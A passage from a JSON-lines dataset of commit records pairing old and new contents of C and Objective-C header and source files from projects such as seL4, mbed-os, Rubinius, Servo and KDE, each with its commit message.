MBContactPickerModelProtocol <NSObject>\n\n@required\n\n@property (readonly, nonatomic, copy) NSString *contactTitle;\n\n@optional\n\n@property (readonly, nonatomic, copy) NSString *contactSubtitle;\n@property (readonly, nonatomic) UIImage *contactImage;\n\n@end\n\n@interface MBContactModel : NSObject <MBContactPickerModelProtocol>\n\n@property (nonatomic, copy) NSString *contactTitle;\n@property (nonatomic, copy) NSString *contactSubtitle;\n@property (nonatomic) UIImage *contactImage;\n\n@end\n","subject":"Make MBContactPickerModelProtocol properties read-only, since that is all that the picker implementation requires, and avoids implementors having to either provide setters, or ignore the Xcode warnings about them not being auto-generated.","message":"Make MBContactPickerModelProtocol properties read-only, since that is all\nthat the picker implementation requires, and avoids implementors having to\neither provide setters, or ignore the Xcode warnings about them not being\nauto-generated.\n","lang":"C","license":"mit","repos":"Citrrus\/MBContactPicker,xuzhiming\/MBContactPicker,octanner\/MBContactPicker"}
{"commit":"c6aa7012fa24998872f6350a32ff8b3a13add21a","old_file":"lepton\/renderer.h","new_file":"lepton\/renderer.h","old_contents":"\/****************************************************************************\n*\n* Copyright (c) 2008 by Casey Duncan and contributors\n* All Rights Reserved.\n*\n* This software is subject to the provisions of the MIT License\n* A copy of the license should accompany this distribution.\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n*\n****************************************************************************\/\n\/* Renderer shared code\n *\n * $Id$ \n *\/\n\n#ifndef _RENDERER_H_\n#define _RENDERER_H_\n\ntypedef struct {\n\tPyObject_HEAD\n\tPy_ssize_t size;\n\tfloat *data;\n} FloatArrayObject;\n\n\/* Return true if o is a bon-a-fide FloatArrayObject *\/\nint FloatArrayObject_Check(FloatArrayObject *o);\n\nFloatArrayObject *\nFloatArray_new(Py_ssize_t size);\n\nFloatArrayObject *\ngenerate_default_2D_tex_coords(GroupObject *pgroup);\n\n\/* Initialize the glew OpenGL extension manager\n   If glew has already been initialized, do nothing *\/\nint\nglew_initialize(void);\n\n#endif\n","new_contents":"\/****************************************************************************\n*\n* Copyright (c) 2008 by Casey Duncan and contributors\n* All Rights Reserved.\n*\n* This software is subject to the provisions of the MIT License\n* A copy of the license should accompany this distribution.\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n*\n****************************************************************************\/\n\/* Renderer shared code\n *\n * $Id$ \n *\/\n\n#ifndef _RENDERER_H_\n#define _RENDERER_H_\n\ntypedef struct {\n\tPyObject_HEAD\n\tPy_ssize_t size;\n\tfloat *data;\n} FloatArrayObject;\n\n\/* Return true if o is a bon-a-fide FloatArrayObject *\/\nint FloatArrayObject_Check(FloatArrayObject *o);\n\nFloatArrayObject *\nFloatArray_new(Py_ssize_t size);\n\nFloatArrayObject *\ngenerate_default_2D_tex_coords(GroupObject *pgroup);\n\n\/* Initialize the glew OpenGL extension manager\n   If glew has already been initialized, do nothing *\/\nint\nglew_initialize(void);\n\n#endif\n\n\/\/ Windows lacks fminf\n#ifndef fminf\n#define fminf(x, y) (((x) < (y)) ? (x) : (y))\n#endif\n","subject":"Define fminf for platforms that lack it","message":"Define fminf for platforms that lack it\n","lang":"C","license":"mit","repos":"Alwnikrotikz\/py-lepton,jmichelsen\/py-lepton,tectronics\/py-lepton,AlanZatarain\/py-lepton,tectronics\/py-lepton,AlanZatarain\/py-lepton,jmichelsen\/py-lepton,Alwnikrotikz\/py-lepton"}
{"commit":"436c216d0e372f08a8a0a1eab84fb569001c42fa","old_file":"libsel4\/include\/sel4\/macros.h","new_file":"libsel4\/include\/sel4\/macros.h","old_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#ifndef __LIBSEL4_MACROS_H\n#define __LIBSEL4_MACROS_H\n\n\/*\n * Some compilers attempt to pack enums into the smallest possible type.\n * For ABI compatability with the kernel, we need to ensure they remain\n * the same size as an 'int'.\n *\/\n#define SEL4_FORCE_LONG_ENUM(type) \\\n        _enum_pad_ ## type = (1U << ((sizeof(int)*8) - 1))\n\n#ifndef CONST\n#define CONST        __attribute__((__const__))\n#endif\n\n#ifndef PURE\n#define PURE         __attribute__((__pure__))\n#endif\n\n#endif\n","new_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#ifndef __LIBSEL4_MACROS_H\n#define __LIBSEL4_MACROS_H\n\n\/*\n * Some compilers attempt to pack enums into the smallest possible type.\n * For ABI compatability with the kernel, we need to ensure they remain\n * the same size as an 'int'.\n *\/\n#define SEL4_FORCE_LONG_ENUM(type) \\\n        _enum_pad_ ## type = (1U << ((sizeof(int)*8) - 1)) - 1\n\n#ifndef CONST\n#define CONST        __attribute__((__const__))\n#endif\n\n#ifndef PURE\n#define PURE         __attribute__((__pure__))\n#endif\n\n#endif\n","subject":"Make enum padding types one less in value so that they are INT_MAX","message":"libsel4: Make enum padding types one less in value so that they are INT_MAX\n\nHaving the padding types as INT_MAX + 1 means C++ compilers will end up using\na signed 64 bit integer, as that is the only type that can have a value that\nlarge, as well as the negative values our enums typically contain\n","lang":"C","license":"bsd-2-clause","repos":"DavidVorick\/seL4,lukw00\/seL4,lukw00\/seL4,rzhw\/seL4,rzhw\/seL4,sutt0n\/seL4,sigma-random\/seL4,DavidVorick\/seL4,codeneomatrix\/seL4,CarterTsai\/seL4,haitao52198\/seL4,rzhw\/seL4,gpbonillas\/seL4,sutt0n\/seL4,gpbonillas\/seL4,dailypips\/seL4,rzhw\/seL4,dailypips\/seL4,zhicheng\/seL4,watbe\/seL4,CarterTsai\/seL4,sutt0n\/seL4,CarterTsai\/seL4,winksaville\/seL4,watbe\/seL4,gpbonillas\/seL4,CarterTsai\/seL4,DavidVorick\/seL4,sigma-random\/seL4,gpbonillas\/seL4,sigma-random\/seL4,codeneomatrix\/seL4,haitao52198\/seL4,lukw00\/seL4,sigma-random\/seL4,codeneomatrix\/seL4,cmr\/seL4,winksaville\/seL4,winksaville\/seL4,dailypips\/seL4,haitao52198\/seL4,cmr\/seL4,zhicheng\/seL4,sutt0n\/seL4,codeneomatrix\/seL4,sigma-random\/seL4,winksaville\/seL4,haitao52198\/seL4,zhicheng\/seL4,DavidVorick\/seL4,lukw00\/seL4,cmr\/seL4,dailypips\/seL4,watbe\/seL4,watbe\/seL4"}
{"commit":"31d22c03b365cd06de6b040deb8ca49d30202205","old_file":"Demo\/Shared\/MASPreferencesWindowController.h","new_file":"Demo\/Shared\/MASPreferencesWindowController.h","old_contents":"\/\/\n\/\/  Created by Vadim Shpakovski on 4\/22\/11.\n\/\/  Copyright 2011 Shpakovski. All rights reserved.\n\/\/\n\nextern NSString *const kMASPreferencesWindowControllerDidChangeViewNotification;\n\n@interface MASPreferencesWindowController : NSWindowController <NSToolbarDelegate, NSWindowDelegate>\n{\n@private\n    NSArray *_viewControllers;\n    NSString *_title;\n    id _lastSelectedController;\n}\n\n@property (nonatomic, readonly) NSArray *viewControllers;\n@property (nonatomic, readonly) NSUInteger indexOfSelectedController;\n@property (nonatomic, readonly) NSViewController *selectedViewController;\n@property (nonatomic, readonly) NSString *title;\n\n- (id)initWithViewControllers:(NSArray *)viewControllers;\n- (id)initWithViewControllers:(NSArray *)viewControllers title:(NSString *)title;\n\n- (void)selectControllerAtIndex:(NSUInteger)controllerIndex withAnimation:(BOOL)animate;\n\n- (IBAction)goNextTab:(id)sender;\n- (IBAction)goPreviousTab:(id)sender;\n\n- (void)resetFirstResponderInView:(NSView *)view;\n\n@end\n","new_contents":"\/\/\n\/\/  Created by Vadim Shpakovski on 4\/22\/11.\n\/\/  Copyright 2011 Shpakovski. All rights reserved.\n\/\/\n\nextern NSString *const kMASPreferencesWindowControllerDidChangeViewNotification;\n\n#if MAC_OS_X_VERSION_MAX_ALLOWED > MAC_OS_X_VERSION_10_5\n@interface MASPreferencesWindowController : NSWindowController <NSToolbarDelegate, NSWindowDelegate>\n#else\n@interface MASPreferencesWindowController : NSWindowController\n#endif\n{\n@private\n    NSArray *_viewControllers;\n    NSString *_title;\n    id _lastSelectedController;\n}\n\n@property (nonatomic, readonly) NSArray *viewControllers;\n@property (nonatomic, readonly) NSUInteger indexOfSelectedController;\n@property (nonatomic, readonly) NSViewController *selectedViewController;\n@property (nonatomic, readonly) NSString *title;\n\n- (id)initWithViewControllers:(NSArray *)viewControllers;\n- (id)initWithViewControllers:(NSArray *)viewControllers title:(NSString *)title;\n\n- (void)selectControllerAtIndex:(NSUInteger)controllerIndex withAnimation:(BOOL)animate;\n\n- (IBAction)goNextTab:(id)sender;\n- (IBAction)goPreviousTab:(id)sender;\n\n- (void)resetFirstResponderInView:(NSView *)view;\n\n@end\n","subject":"Allow building with the 10.5 SDK.","message":"Allow building with the 10.5 SDK.\n","lang":"C","license":"bsd-2-clause","repos":"robrix\/MASPreferences,konstantinpavlikhin\/MASPreferences"}
{"commit":"8797e7b4b961988983c92666dc6321a55a737e43","old_file":"ktexteditor\/ktexteditor_export.h","new_file":"ktexteditor\/ktexteditor_export.h","old_contents":"\/*  This file is part of the KDE project\n    Copyright (C) 2007 David Faure <faure@kde.org>\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public License\n    along with this library; see the file COPYING.LIB.  If not, write to\n    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n    Boston, MA 02110-1301, USA.\n*\/\n\n#ifndef KTEXTEDITOR_EXPORT_H\n#define KTEXTEDITOR_EXPORT_H\n\n\/* needed for KDE_EXPORT and KDE_IMPORT macros *\/\n#include <kdemacros.h>\n\n\/* We use _WIN32\/_WIN64 instead of Q_OS_WIN so that this header can be used from C files too *\/\n#if defined _WIN32 || defined _WIN64\n\n#ifndef KTEXTEDITOR_EXPORT\n# if defined(MAKE_KTEXTEDITOR_LIB)\n   \/* We are building this library *\/ \n#  define KTEXTEDITOR_EXPORT KDE_EXPORT\n# else\n   \/* We are using this library *\/ \n#  define KTEXTEDITOR_EXPORT KDE_IMPORT\n# endif\n#endif\n\n#else \/* UNIX *\/\n\n#define KTEXTEDITOR_EXPORT KDE_EXPORT\n\n#endif\n\n#endif\n","new_contents":"\/*  This file is part of the KDE project\n    Copyright (C) 2007 David Faure <faure@kde.org>\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public License\n    along with this library; see the file COPYING.LIB.  If not, write to\n    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n    Boston, MA 02110-1301, USA.\n*\/\n\n#ifndef KTEXTEDITOR_EXPORT_H\n#define KTEXTEDITOR_EXPORT_H\n\n\/* needed for KDE_EXPORT and KDE_IMPORT macros *\/\n#include <kdemacros.h>\n\n#ifndef KTEXTEDITOR_EXPORT\n# if defined(MAKE_KTEXTEDITOR_LIB)\n   \/* We are building this library *\/ \n#  define KTEXTEDITOR_EXPORT KDE_EXPORT\n# else\n   \/* We are using this library *\/ \n#  define KTEXTEDITOR_EXPORT KDE_IMPORT\n# endif\n#endif\n\n#endif\n","subject":"Fix up the FOO_EXPORT stuff, per our discussion on k-c-d. CCMAIL: Ch.Ehrlicher@gmx.de,thiago@kde.org","message":"Fix up the FOO_EXPORT stuff, per our discussion on k-c-d.\nCCMAIL: Ch.Ehrlicher@gmx.de,thiago@kde.org\n\n(fingers crossed)\n\nsvn path=\/trunk\/KDE\/kdelibs\/interfaces\/ktexteditor\/; revision=662070\n","lang":"C","license":"lgpl-2.1","repos":"DickJ\/kate,cmacq2\/kate,hlamer\/kate,jfmcarreira\/kate,hlamer\/kate,sandsmark\/kate,hlamer\/kate,jfmcarreira\/kate,cmacq2\/kate,hlamer\/kate,DickJ\/kate,DickJ\/kate,sandsmark\/kate,hlamer\/kate,hlamer\/kate,sandsmark\/kate,hlamer\/kate,sandsmark\/kate,hlamer\/kate,cmacq2\/kate,hlamer\/kate,hlamer\/kate,DickJ\/kate,jfmcarreira\/kate"}
{"commit":"6bcbbabb47dd982641859a3b98905f5bda671ded","old_file":"src\/pic32\/power.c","new_file":"src\/pic32\/power.c","old_contents":"#include \"power.h\"\n\n#define SLEEP_MODE_ENABLE_BIT 4\n\nvoid initializePower() {\n}\n\nvoid updatePower() {\n}\n\nvoid enterLowPowerMode() {\n    \/\/ When WAIT instruction is executed, go into SLEEP mode\n    OSCCONSET = (1 << SLEEP_MODE_ENABLE_BIT);\n    asm(\"wait\");\n    \/\/ TODO if we wake up, do we resume with the PC right here? there's an RCON\n    \/\/ register with bits to indicate if we woke up from sleep. we'll need to\n    \/\/ re-run setup, potentially.\n    \/\/C1CONSET \/ C1CONbits.x\n}\n","new_contents":"#include \"power.h\"\n\nvoid initializePower() {\n}\n\nvoid updatePower() {\n}\n\nvoid enterLowPowerMode() {\n}\n","subject":"Remove \"in progress\" sleep mode code for PIC32 for now.","message":"Remove \"in progress\" sleep mode code for PIC32 for now.\n","lang":"C","license":"bsd-3-clause","repos":"openxc\/vi-firmware,ene-ilies\/vi-firmware,openxc\/vi-firmware,ene-ilies\/vi-firmware,mgiannikouris\/vi-firmware,mgiannikouris\/vi-firmware,mgiannikouris\/vi-firmware,ene-ilies\/vi-firmware,openxc\/vi-firmware,openxc\/vi-firmware,mgiannikouris\/vi-firmware,ene-ilies\/vi-firmware"}
{"commit":"e9144ad771ae3bae8672c4d5492e3901b68a13cf","old_file":"features\/mbedtls\/platform\/inc\/platform_mbed.h","new_file":"features\/mbedtls\/platform\/inc\/platform_mbed.h","old_contents":"\/**\n *  Copyright (C) 2006-2016, ARM Limited, All Rights Reserved\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  This file is part of mbed TLS (https:\/\/tls.mbed.org)\n *\/\n\n#if defined(DEVICE_TRNG)\n#define MBEDTLS_ENTROPY_HARDWARE_ALT\n#endif\n\n#if defined(MBEDTLS_HW_SUPPORT)\n#include \"mbedtls_device.h\"\n#endif\n","new_contents":"\/**\n *  Copyright (C) 2006-2016, ARM Limited, All Rights Reserved\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  This file is part of mbed TLS (https:\/\/tls.mbed.org)\n *\/\n\n#if defined(DEVICE_TRNG)\n#define MBEDTLS_ENTROPY_HARDWARE_ALT\n#endif\n\n#if defined(MBEDTLS_CONFIG_HW_SUPPORT)\n#include \"mbedtls_device.h\"\n#endif\n","subject":"Apply new naming convention to mbed TLS macros","message":"Apply new naming convention to mbed TLS macros\n","lang":"C","license":"apache-2.0","repos":"nRFMesh\/mbed-os,netzimme\/mbed-os,YarivCol\/mbed-os,arostm\/mbed-os,infinnovation\/mbed-os,nRFMesh\/mbed-os,pradeep-gr\/mbed-os5-onsemi,adustm\/mbed,bcostm\/mbed-os,catiedev\/mbed-os,fanghuaqi\/mbed,maximmbed\/mbed,c1728p9\/mbed-os,pradeep-gr\/mbed-os5-onsemi,CalSol\/mbed,netzimme\/mbed-os,kjbracey-arm\/mbed,mbedmicro\/mbed,adustm\/mbed,adustm\/mbed,bulislaw\/mbed-os,mbedmicro\/mbed,kl-cruz\/mbed-os,andcor02\/mbed-os,arostm\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,nvlsianpu\/mbed,mmorenobarm\/mbed-os,j-greffe\/mbed-os,fanghuaqi\/mbed,bulislaw\/mbed-os,kjbracey-arm\/mbed,Archcady\/mbed-os,YarivCol\/mbed-os,mikaleppanen\/mbed-os,kl-cruz\/mbed-os,betzw\/mbed-os,betzw\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,andcor02\/mbed-os,bulislaw\/mbed-os,maximmbed\/mbed,infinnovation\/mbed-os,HeadsUpDisplayInc\/mbed,HeadsUpDisplayInc\/mbed,infinnovation\/mbed-os,nvlsianpu\/mbed,svogl\/mbed-os,adamgreen\/mbed,svogl\/mbed-os,NXPmicro\/mbed,betzw\/mbed-os,c1728p9\/mbed-os,mazimkhan\/mbed-os,cvtsi2sd\/mbed-os,fahhem\/mbed-os,adustm\/mbed,fahhem\/mbed-os,kjbracey-arm\/mbed,ryankurte\/mbed-os,Archcady\/mbed-os,infinnovation\/mbed-os,HeadsUpDisplayInc\/mbed,screamerbg\/mbed,ryankurte\/mbed-os,infinnovation\/mbed-os,monkiineko\/mbed-os,screamerbg\/mbed,mbedmicro\/mbed,RonEld\/mbed,YarivCol\/mbed-os,arostm\/mbed-os,mazimkhan\/mbed-os,nRFMesh\/mbed-os,karsev\/mbed-os,karsev\/mbed-os,c1728p9\/mbed-os,betzw\/mbed-os,catiedev\/mbed-os,maximmbed\/mbed,theotherjimmy\/mbed,pradeep-gr\/mbed-os5-onsemi,nRFMesh\/mbed-os,screamerbg\/mbed,fahhem\/mbed-os,bcostm\/mbed-os,cvtsi2sd\/mbed-os,mbedmicro\/mbed,NXPmicro\/mbed,cvtsi2sd\/mbed-os,HeadsUpDisplayInc\/mbed,YarivCol\/mbed-os,mmorenobarm\/mbed-os,nRFMesh\/mbed-os,netzimme\/mbed-os,mmorenobarm\/mbed-os,svogl\/mbed-os,nvlsianpu\/mbed,catiedev\/mbed-os,c1728p9\/mbed-os,mazimkhan\/mbed-os,NXPmicro\/mbed,fanghuaqi\/mbed,monkiineko\/mbed-os,karsev\/mbed-os,bulislaw\/mbed-os,maximmbed\/mbed,Archcady\/mbed-os,andcor02\/mbed-os,netzimme\/mbed-os,c1728p9\/mbed-os,bcostm\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,nvlsianpu\/mbed,mazimkhan\/mbed-os,fanghuaqi\/mbed,mikaleppanen\/mbed-os,mmorenobarm\/mbed-os,CalSol\/mbed,fahhem\/mbed-os,c1728p9\/mbed-os,ryankurte\/mbed-os,nvlsianpu\/mbed,theotherjimmy\/mbed,RonEld\/mbed,NXPmicro\/mbed,mazimkhan\/mbed-os,pradeep-gr\/mbed-os5-onsemi,maximmbed\/mbed,karsev\/mbed-os,karsev\/mbed-os,HeadsUpDisplayInc\/mbed,RonEld\/mbed,fahhem\/mbed-os,catiedev\/mbed-os,fahhem\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,CalSol\/mbed,NXPmicro\/mbed,nRFMesh\/mbed-os,YarivCol\/mbed-os,kl-cruz\/mbed-os,CalSol\/mbed,pradeep-gr\/mbed-os5-onsemi,netzimme\/mbed-os,infinnovation\/mbed-os,theotherjimmy\/mbed,betzw\/mbed-os,monkiineko\/mbed-os,mmorenobarm\/mbed-os,adamgreen\/mbed,screamerbg\/mbed,kl-cruz\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,adustm\/mbed,NXPmicro\/mbed,bulislaw\/mbed-os,monkiineko\/mbed-os,YarivCol\/mbed-os,mikaleppanen\/mbed-os,svogl\/mbed-os,cvtsi2sd\/mbed-os,mazimkhan\/mbed-os,theotherjimmy\/mbed,bulislaw\/mbed-os,screamerbg\/mbed,karsev\/mbed-os,adustm\/mbed,RonEld\/mbed,ryankurte\/mbed-os,mmorenobarm\/mbed-os,monkiineko\/mbed-os,mbedmicro\/mbed,bcostm\/mbed-os,theotherjimmy\/mbed,pradeep-gr\/mbed-os5-onsemi,CalSol\/mbed,kl-cruz\/mbed-os,j-greffe\/mbed-os,bcostm\/mbed-os,kl-cruz\/mbed-os,netzimme\/mbed-os,fanghuaqi\/mbed,screamerbg\/mbed,ryankurte\/mbed-os,adamgreen\/mbed,arostm\/mbed-os,mikaleppanen\/mbed-os,adamgreen\/mbed,adamgreen\/mbed,catiedev\/mbed-os,j-greffe\/mbed-os,HeadsUpDisplayInc\/mbed,arostm\/mbed-os,adamgreen\/mbed,andcor02\/mbed-os,svogl\/mbed-os,bcostm\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,j-greffe\/mbed-os,mikaleppanen\/mbed-os,mikaleppanen\/mbed-os,Archcady\/mbed-os,maximmbed\/mbed,j-greffe\/mbed-os,CalSol\/mbed,RonEld\/mbed,Archcady\/mbed-os,nvlsianpu\/mbed,RonEld\/mbed,cvtsi2sd\/mbed-os,andcor02\/mbed-os,ryankurte\/mbed-os,monkiineko\/mbed-os,svogl\/mbed-os,betzw\/mbed-os,cvtsi2sd\/mbed-os,Archcady\/mbed-os,andcor02\/mbed-os,arostm\/mbed-os,theotherjimmy\/mbed,kjbracey-arm\/mbed,j-greffe\/mbed-os,catiedev\/mbed-os"}
{"commit":"70917a464535e3a559f6256c721c8ab7626b67e3","old_file":"vm\/include\/capi\/ruby\/defines.h","new_file":"vm\/include\/capi\/ruby\/defines.h","old_contents":"#ifndef RBX_CAPI_RUBY_DEFINES_H\n#define RBX_CAPI_RUBY_DEFINES_H\n\n\/* Stub file provided for C extensions that expect it. All regular\n * defines and prototypes are in ruby.h\n *\/\n\n#define RUBY                               1\n#define RUBINIUS                           1\n\n#define HAVE_STDARG_PROTOTYPES             1\n\n\/* These are defines directly related to MRI C-API symbols that the\n * mkmf.rb discovery code (e.g. have_func(\"rb_str_set_len\")) would\n * attempt to find by linking against libruby. Rubinius does not\n * have an appropriate lib to link against, so we are adding these\n * explicit defines for now.\n *\/\n#define HAVE_RB_STR_SET_LEN                1\n#define HAVE_RB_STR_NEW5                   1\n#define HAVE_RB_STR_NEW_WITH_CLASS         1\n#define HAVE_RB_DEFINE_ALLOC_FUNC          1\n\n#define HAVE_RB_HASH_FOREACH               1\n#define HAVE_RB_HASH_ASET                  1\n\n#define HAVE_RUBY_ENCODING_H               1\n\n#define HAVE_RB_ENCDB_ALIAS                1\n\n#endif\n","new_contents":"#ifndef RBX_CAPI_RUBY_DEFINES_H\n#define RBX_CAPI_RUBY_DEFINES_H\n\n\/* Stub file provided for C extensions that expect it. All regular\n * defines and prototypes are in ruby.h\n *\/\n\n#define RUBY                               1\n#define RUBINIUS                           1\n\n#define HAVE_STDARG_PROTOTYPES             1\n\n\/* These are defines directly related to MRI C-API symbols that the\n * mkmf.rb discovery code (e.g. have_func(\"rb_str_set_len\")) would\n * attempt to find by linking against libruby. Rubinius does not\n * have an appropriate lib to link against, so we are adding these\n * explicit defines for now.\n *\/\n#define HAVE_RB_STR_SET_LEN                1\n#define HAVE_RB_STR_NEW5                   1\n#define HAVE_RB_STR_NEW_WITH_CLASS         1\n#define HAVE_RB_DEFINE_ALLOC_FUNC          1\n\n#define HAVE_RB_HASH_FOREACH               1\n#define HAVE_RB_HASH_ASET                  1\n\n#define HAVE_RUBY_ENCODING_H               1\n\n#define HAVE_RB_ENCDB_ALIAS                1\n\n#define HAVE_RB_ARY_SUBSEQ                 1\n\n#endif\n","subject":"Add explicit define for rb_ary_subseq","message":"Add explicit define for rb_ary_subseq\n","lang":"C","license":"mpl-2.0","repos":"mlarraz\/rubinius,jemc\/rubinius,kachick\/rubinius,heftig\/rubinius,kachick\/rubinius,Azizou\/rubinius,jsyeo\/rubinius,digitalextremist\/rubinius,heftig\/rubinius,kachick\/rubinius,digitalextremist\/rubinius,jemc\/rubinius,dblock\/rubinius,benlovell\/rubinius,ngpestelos\/rubinius,ruipserra\/rubinius,jemc\/rubinius,jsyeo\/rubinius,sferik\/rubinius,Wirachmat\/rubinius,Wirachmat\/rubinius,jsyeo\/rubinius,dblock\/rubinius,Azizou\/rubinius,jsyeo\/rubinius,kachick\/rubinius,benlovell\/rubinius,digitalextremist\/rubinius,mlarraz\/rubinius,sferik\/rubinius,ngpestelos\/rubinius,mlarraz\/rubinius,jsyeo\/rubinius,ngpestelos\/rubinius,dblock\/rubinius,benlovell\/rubinius,benlovell\/rubinius,digitalextremist\/rubinius,kachick\/rubinius,ngpestelos\/rubinius,ruipserra\/rubinius,Wirachmat\/rubinius,jemc\/rubinius,sferik\/rubinius,ngpestelos\/rubinius,Wirachmat\/rubinius,Azizou\/rubinius,kachick\/rubinius,heftig\/rubinius,ngpestelos\/rubinius,ruipserra\/rubinius,mlarraz\/rubinius,jemc\/rubinius,benlovell\/rubinius,Wirachmat\/rubinius,dblock\/rubinius,mlarraz\/rubinius,digitalextremist\/rubinius,benlovell\/rubinius,kachick\/rubinius,mlarraz\/rubinius,jsyeo\/rubinius,Azizou\/rubinius,benlovell\/rubinius,ruipserra\/rubinius,mlarraz\/rubinius,dblock\/rubinius,ruipserra\/rubinius,heftig\/rubinius,ngpestelos\/rubinius,digitalextremist\/rubinius,pH14\/rubinius,sferik\/rubinius,heftig\/rubinius,Azizou\/rubinius,sferik\/rubinius,jsyeo\/rubinius,jemc\/rubinius,pH14\/rubinius,Wirachmat\/rubinius,ruipserra\/rubinius,digitalextremist\/rubinius,dblock\/rubinius,sferik\/rubinius,heftig\/rubinius,Wirachmat\/rubinius,pH14\/rubinius,ruipserra\/rubinius,jemc\/rubinius,pH14\/rubinius,kachick\/rubinius,heftig\/rubinius,dblock\/rubinius,pH14\/rubinius,pH14\/rubinius,Azizou\/rubinius,Azizou\/rubinius,pH14\/rubinius,sferik\/rubinius"}
{"commit":"ff102fa64bffe1a7facad5256cb474329c931acc","old_file":"support\/hololens\/ServoApp\/DefaultUrl.h","new_file":"support\/hololens\/ServoApp\/DefaultUrl.h","old_contents":"#pragma once\n\n#define DEFAULT_URL L\"http:\/\/paulrouget.com\/test\/bbjs\/basic\/\";\n","new_contents":"#pragma once\n\n#define DEFAULT_URL L\"https:\/\/servo.org\/hl-home\/\";\n","subject":"Load hololens demo page by default","message":"Load hololens demo page by default\n","lang":"C","license":"mpl-2.0","repos":"splav\/servo,KiChjang\/servo,splav\/servo,KiChjang\/servo,splav\/servo,splav\/servo,KiChjang\/servo,saneyuki\/servo,saneyuki\/servo,KiChjang\/servo,DominoTree\/servo,splav\/servo,saneyuki\/servo,splav\/servo,KiChjang\/servo,saneyuki\/servo,DominoTree\/servo,splav\/servo,DominoTree\/servo,KiChjang\/servo,DominoTree\/servo,splav\/servo,saneyuki\/servo,KiChjang\/servo,saneyuki\/servo,KiChjang\/servo,saneyuki\/servo,DominoTree\/servo,splav\/servo,DominoTree\/servo,KiChjang\/servo,DominoTree\/servo,saneyuki\/servo,DominoTree\/servo,saneyuki\/servo,saneyuki\/servo,KiChjang\/servo,splav\/servo,DominoTree\/servo,DominoTree\/servo"}
{"commit":"406ba05b707496dd83beba008385596df6a094e4","old_file":"base\/inc\/TVersionCheck.h","new_file":"base\/inc\/TVersionCheck.h","old_contents":"\/\/ @(#)root\/base:$Name:  $:$Id: TVersionCheck.h,v 1.2 2007\/05\/10 16:04:32 rdm Exp $\n\/\/ Author: Fons Rademakers   9\/5\/2007\n\n\/*************************************************************************\n * Copyright (C) 1995-2007, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TVersionCheck\n#define ROOT_TVersionCheck\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TVersionCheck                                                        \/\/\n\/\/                                                                      \/\/\n\/\/ Used to check if the shared library or plugin is compatible with     \/\/\n\/\/ the current version of ROOT.                                         \/\/\n\/\/                                                                      